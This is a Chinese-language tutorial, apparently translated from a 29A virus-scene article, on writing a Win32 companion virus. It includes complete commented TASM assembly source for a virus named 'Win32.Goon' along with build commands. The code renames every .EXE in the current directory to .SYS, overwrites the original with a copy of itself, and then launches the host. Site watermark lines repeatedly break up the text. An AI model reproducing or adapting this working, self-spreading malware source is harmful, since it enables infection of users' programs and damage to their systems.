系统安全之对简单Win32伴侣病毒的研究

时间:1970-01-01 07:59:59  来源:  作者:

  朋友们好,今天我在29A#6中读到了Benny写的一篇文章。它题目是“病毒界的现状”。我对此进行了思考,而后我决然写这篇教程!因为我想通过这个教程分享我所有的病毒知识。这个教程并不适于了解了本文所述更多内容更多的朋友,但对于初学者和新手(像我)来说本文有益。是的,希望如此!当我的知识水平更进一步(下一步学习PE)后,我会写下全部所懂与大家分享。现在,教程开始,希望它对你有所帮助并能坚持看完它! 福 捷网 盟(www. fjn t.com),版权所有。

  【声明:文中代码仅供参考,请勿用于不当之处!】 福捷 网盟(www.f jnt.com),版权 所有。

  1.什么是伴侣病毒

福 捷 网盟(ww w.fjn t.co m),版权所有。

  伴侣病毒不改变宿主程序的代码,也没有添加代码,挂起或者其他任何动作。它仅仅是重命名宿主程序,然后把自己复制为宿主程序原来的文件名。当你运行程序时,病毒会首先运行,当它所有工作完成,才接着运行宿主程序。你可以把宿主和病毒两者的文件名都重命名回原先的文件名,这样宿主程序就能恢复正常。下面给出全过程的原理图。
福捷 网盟(www.f jnt.com),版权 所有。

  第一步:

福捷 网盟(www.f jnt.com),版权 所有。

  /-------------\ /-----------\

福 捷网 盟(www. fjn t.com),版权所有。

  | | | |

福捷 网盟(www.f jnt.com),版权 所有。

  | Program.EXE | ;目标文件的 | Virus.EXE | ;我们必须了解病毒文件中的

福捷 网盟(www.fjnt.com),版 权所有。

  | | ;原先文件名 | | ;API函数: GetCommandLineA 福捷网 盟(www. fjnt.com),版权 所有。

  \-------------/ \-----------/

福捷 网盟(www.fjnt.c om),版权所有。

  第二步:
福 捷网盟(www.fjn t .com),版权 所有。

  /-------------\ /-----------\

福 捷网 盟(www. fjn t.com),版权所有。

  | | | | 福捷 网盟(www.fjnt.com),版 权所有。

  | Program.EXE | | Virus.EXE | 福捷网 盟(www. fjnt.com),版权 所有。

  | | | |

福捷网盟(ww w.fjnt.com),版权所有。

  \-------------/ \-----------/ 福 捷 网盟(ww w.fjn t.co m),版权所有。

  |

福 捷网盟(www.fjn t .com),版权 所有。

  | 福捷 网盟(www.f jnt.com),版权 所有。

  复制为 福捷网盟(ww w.fjnt.com),版权所有。

  |

福 捷网盟(www.fjn t .com),版权 所有。

  |

福 捷 网盟(ww w.fjn t.co m),版权所有。

  /-------------\

福 捷网 盟(www. fjn t.com),版权所有。

  | | 福 捷网 盟(www. fjn t.com),版权所有。

  | Program.SYS | 福捷 网 盟( ww w.fjn t.com),版权 所有。

  | |

福捷 网盟(www.fjnt.c om),版权所有。

  \-------------/

福 捷网盟(www.fjn t .com),版权 所有。

  第三步:

福捷 网盟(www.fjnt.c om),版权所有。

  /-------------\ /-----------\ 福 捷网 盟(www. fjn t.com),版权所有。

  | | | | 福捷 网盟(www.fjnt.c om),版权所有。

  | Program.EXE |<---------复制为-----------| Virus.EXE | 福 捷网 盟(www. fjn t.com),版权所有。

  | | | | 福捷 网盟(www.fjnt.c om),版权所有。

  \-------------/ \-----------/

福捷 网盟(www.fjnt.com),版 权所有。

  恢复方法:

福捷网 盟(www. fjnt.com),版权 所有。

  删除Program.EXE,把Program.SYS重命名回Program.EXE,所做就这些了。 福 捷 网盟(ww w.fjn t.co m),版权所有。

  2.伴侣病毒如何工作的

福捷 网盟(www.fjnt.c om),版权所有。

  (1) 获取病毒文件的文件名 福捷 网 盟( ww w.fjn t.com),版权 所有。

  (2)创建宿主文件的原先文件名

福捷 网 盟( ww w.fjn t.com),版权 所有。

  (3)在当前目录搜索到第一个文件

福捷网盟(ww w.fjnt.com),版权所有。

  (4)将目标文件复制为另一个文件名 福捷网 盟(www. fjnt.com),版权 所有。

  (5)把病毒文件复制为目标文件的原先文件名 福捷 网盟(www.fjnt.c om),版权所有。

  (6)搜索下一个文件->重复(4) -->没有其他文件 跳到7.

福捷 网盟(www.f jnt.com),版权 所有。

  (7)运行宿主程序 (经过了步骤2) 福捷网 盟(www. fjnt.com),版权 所有。

  (8)病毒退出 福捷 网 盟( ww w.fjn t.com),版权 所有。

  3.带注释的病毒例子 福捷 网盟(www.fjnt.c om),版权所有。

  理论够充足了,让我们看它怎么工作。编译方法:

福捷 网盟(www.f jnt.com),版权 所有。

  TASM32 /z /ml /m3 Goon,,;
TLINK32 -Tpe -c Goon,Goon,, import,lib
福捷 网盟(www.fjnt.com),版 权所有。

  ;-----cut----------------------------------------Goon.asm-------------------
.386 ;386指令集
.model flat ;内存平坦模式
jumps ;TASM rulez

福捷 网盟(www.f jnt.com),版权 所有。

  ;
; 你能理解,我想 :)
;
福捷网盟(ww w.fjnt.com),版权所有。

  extrn GetCommandLineA :PROC ;获取病毒文件和宿主文件
extrn lstrcpyA :PROC ;复制字符串
extrn FindFirstFileA :PROC ;搜索当前目录第一个匹配的文件
extrn FindNextFileA :PROC ;通过文件句柄搜索下一个文件
extrn CopyFileA :PROC ;复制文件 (往上看 _2_)
extrn CreateProcessA :PROC ;运行宿主
extrn ExitProcess :PROC ;退出病毒程序

福捷 网 盟( ww w.fjn t.com),版权 所有。

  ;
; 这里,我们声明必需的API函数
; 我想你能理解
;
福 捷 网盟(ww w.fjn t.co m),版权所有。

  .data
Goon db ’Win32.Goon - Virus’,0
db ’Only a Example Code’,0
db ’by DiA/auXnet’,0

福捷 网 盟( ww w.fjn t.com),版权 所有。

  FILETIME STRUC
FT_dwLowDateTime dd ?
FT_dwHighDateTime dd ?
FILETIME ENDS

福捷网盟(ww w.fjnt.com),版权所有。

  WIN32_FIND_DATA label byte
WFD_dwFileAttributes dd ?
WFD_ftCreationTime FILETIME ?
WFD_ftLastAccessTime FILETIME ?
WFD_ftLastWriteTime FILETIME ?
WFD_nFileSizeHigh dd ?
WFD_nFileSizeLow dd ?
WFD_dwReserved0 dd ?
WFD_dwReserved1 dd ?
WFD_szFileName db 260d dup (?)
WFD_szAlternateFileName db 13 dup (?)
WFD_szAlternateEnding db 03 dup (?) 福 捷网 盟(www. fjn t.com),版权所有。

  ;
; 这是 Win32 Find data:
; 这里保存关于目标文件的所有数据
; 我们仅仅对包含目标文件的名称的"WFD_szFileName"
; 记住我们必须复制目标文件成另外一个文件名,
; 而把病毒复制成目标文件最先的文件名
;
福 捷 网盟(ww w.fjn t.co m),版权所有。

  VirusFile db 260d dup (0)
HostFile db 260d dup (0)
HostCopy db 260d dup (0)

福 捷网 盟(www. fjn t.com),版权所有。

  ;
; 这里创建文件名的空间:病毒文件名,宿主文件名,
; 还有我们必须创建的文件名(从目标文件复制)
;

福捷 网盟(www.fjnt.com),版 权所有。

  FileMask db ’*.EXE’,0
FindHandle dd 0
ProcessInfo dd 4 dup (0)
StartupInfo dd 4 dup (0)

福捷 网 盟( ww w.fjn t.com),版权 所有。

  ;
; 包含我们必须搜索的文件
; FileHandle 包含搜索的文件的句柄 (FindNextFileA)
; ProcessInfo and StartupInfo 仅仅是为了运行宿主 (不重要)
;

福捷 网盟(www.fjnt.c om),版权所有。

  .code
start:

福 捷网盟(www.fjn t .com),版权 所有。

  ;
; ROCK ’N ROLL =)
;

福捷网盟(ww w.fjnt.com),版权所有。

  call GetCommandLineA

福捷网盟(ww w.fjnt.com),版权所有。

  ;
; 这里我们获取包含正在运行的程序文件名的CommandLine
; (病毒文件 :). 现在,line 在eax了, 看下一步...
;

福捷 网盟(www.f jnt.com),版权 所有。

  inc eax ; **** da "
push eax
push offset VirusFile
call lstrcpyA ;复制它

福捷 网盟(www.f jnt.com),版权 所有。

  ;
; 为什么要’inc eax’???
; 因为CommandLine类似这样:"C:\LUCI\HELL.EXE" (包含 ")
; 我们不能运行,复制带有"的程序,所以我们走到前面一个地方
; 它从eax复制到VirusFile
;

福 捷网 盟(www. fjn t.com),版权所有。

  mov esi,offset VirusFile ;now in esi
call GetPoint ;call a kewl procedure ;)

福捷 网盟(www.fjnt.c om),版权所有。

  ;
; we must find da point to **** the other "
; 让我们看看...
;
福 捷 网盟(ww w.fjn t.co m),版权所有。

  mov dword ptr [esi 4],00000000d ;清除它

福捷 网盟(www.f jnt.com),版权 所有。

  ;
; 我们走到.EXE后面并清除"号
; ->现在我们得到完整funcional VirusFile
;
福 捷 网盟(ww w.fjn t.co m),版权所有。

  push offset VirusFile
push offset HostFile
call lstrcpyA

福捷 网盟(www.fjnt.com),版 权所有。

  ;
; 把文件名复制到HostFile, 这样我们可以改变它并得到真的Host文件名 (.SYS)
; ...
;
福捷网盟(ww w.fjnt.com),版权所有。

  mov esi,offset HostFile
call GetPoint 福捷网 盟(www. fjnt.com),版权 所有。

  ;
; 得到指针...
;
福 捷网盟(www.fjn t .com),版权 所有。

  mov dword ptr [esi],5359532Eh ;5359532Eh = ’SYS.’

福捷网盟(ww w.fjnt.com),版权所有。

  ;
; 把它重命名为 .SYS (last 4 letters with point)
; 现在我们得到HostFile, 可能运行宿主...
; ...但是等等! 我们必须感染文件!!!
;

福捷网 盟(www. fjnt.com),版权 所有。

  push offset WIN32_FIND_DATA
push offset FileMask
call FindFirstFileA
mov dword ptr [FindHandle],eax ;保存句柄

福捷 网盟(www.f jnt.com),版权 所有。

  ;
; 如果你不懂WIN32_FIND_DATA and FileMask,请往上看...
; Call后Find Handle保存在eax中, FindNextFileA还要用到,我们保存它...
;
福捷 网盟(www.f jnt.com),版权 所有。

  FindNext:
test eax,eax ;还有文件?
jz RunHost ;如果没有就跳到RunHost 福捷 网 盟( ww w.fjn t.com),版权 所有。

  ;
; 当eax是null,说明当前目录里没有更多的文件可以被感染了
; 所有的文件都感染后就运行宿主
;
福捷网 盟(www. fjnt.com),版权 所有。

  push offset WFD_szFileName
push offset HostCopy
call lstrcpyA 福 捷网盟(www.fjn t .com),版权 所有。

  ;
; 得制 WFD_szFileName 到 HostCopy 来重命名和复制它
;

福捷 网盟(www.fjnt.c om),版权所有。

  mov esi,offset HostCopy
call GetPoint 福捷网盟(ww w.fjnt.com),版权所有。

  ;
; 得到指针来重命名文件名为.SYS
; 稍后使用它复制原先的文件为宿主文件
;

福捷网 盟(www. fjnt.com),版权 所有。

  mov dword ptr [esi],5359532Eh ; SYS. 福捷 网盟(www.fjnt.c om),版权所有。

  ;
; 把它重命名为 .SYS (last 4 letters)
; 现在我们做所以工作完成感染目标文件:
; 病毒文件名
; 原先文件名
; 重命名目标文件名
; rock ’n roll =)
;
福捷网 盟(www. fjnt.com),版权 所有。

  push 1 ;如果文件已存在就不复制
push offset HostCopy
push offset WFD_szFileName
call CopyFileA

福 捷网 盟(www. fjn t.com),版权所有。

  ;
; 现在我们复制.EXE文件为.EXE文件,宿主文件在.sys
; 如果文件已经存在,我们就不要复制它,我们不能复制它两次
;

福捷 网盟(www.fjnt.com),版 权所有。

  push 0 ;无条件复制
push offset WFD_szFileName
push offset VirusFile
call CopyFileA 福捷 网 盟( ww w.fjn t.com),版权 所有。

  ;
; 我们复制病毒为目标.EXE文件
; 无条件复制,因为我们不能有两个宿主而没有病毒
;

福捷 网盟(www.fjnt.c om),版权所有。

  push offset WIN32_FIND_DATA
push dword ptr [FindHandle]
call FindNextFileA
jmp FindNext 福捷 网盟(www.fjnt.c om),版权所有。

  ;
; 你还记得我们保存FindHandle吧...
; 我们搜索更多的文件!
; 跳到FindNext并检查更多的文件
;
福 捷网盟(www.fjn t .com),版权 所有。

  RunHost:
xor eax,eax ;null
push offset ProcessInfo ;这个,我们不感兴趣
push offset StartupInfo ;...
push eax
push eax
push 00000010h ;创建进程
push eax
push eax
push eax
push offset HostFile
push offset HostFile ;运行它
call CreateProcessA 福 捷 网盟(ww w.fjn t.co m),版权所有。

  ;
; 记住我们重命名病文件为宿主文件(.SYS), 现在我们通过这个名运行
;
福 捷 网盟(ww w.fjn t.co m),版权所有。

  push 0
call ExitProcess 福捷 网盟(www.fjnt.c om),版权所有。

  ;
; 所有这些做完,我们把控制交给宿主
;
福 捷网 盟(www. fjn t.com),版权所有。

  GetPoint:
cmp byte ptr [esi],’.’ ;point?
jz FoundPoint ;je return
inc esi ;scan next place
jmp GetPoint
FoundPoint:
ret ;return 福捷 网盟(www.f jnt.com),版权 所有。

  ;
; at last the GetPoint procedure...
; scan for ’.’ and if found return to place where are called
;
福 捷网 盟(www. fjn t.com),版权所有。

  end start 福捷 网盟(www.fjnt.c om),版权所有。

  ;
; 晚安
; 福捷 网 盟( ww w.fjn t.com),版权 所有。

  ;-----cut------------------------------------------------------------

福捷 网盟(www.f jnt.com),版权 所有。

  4.结束语 福捷 网盟(www.fjnt.c om),版权所有。

  嗯,教程完毕,现在你可以写Win32伴侣病毒了。向Benny/29A表示致谢,是你用杰出的文章激发我写下这篇教程。 福捷 网盟(www.f jnt.com),版权 所有。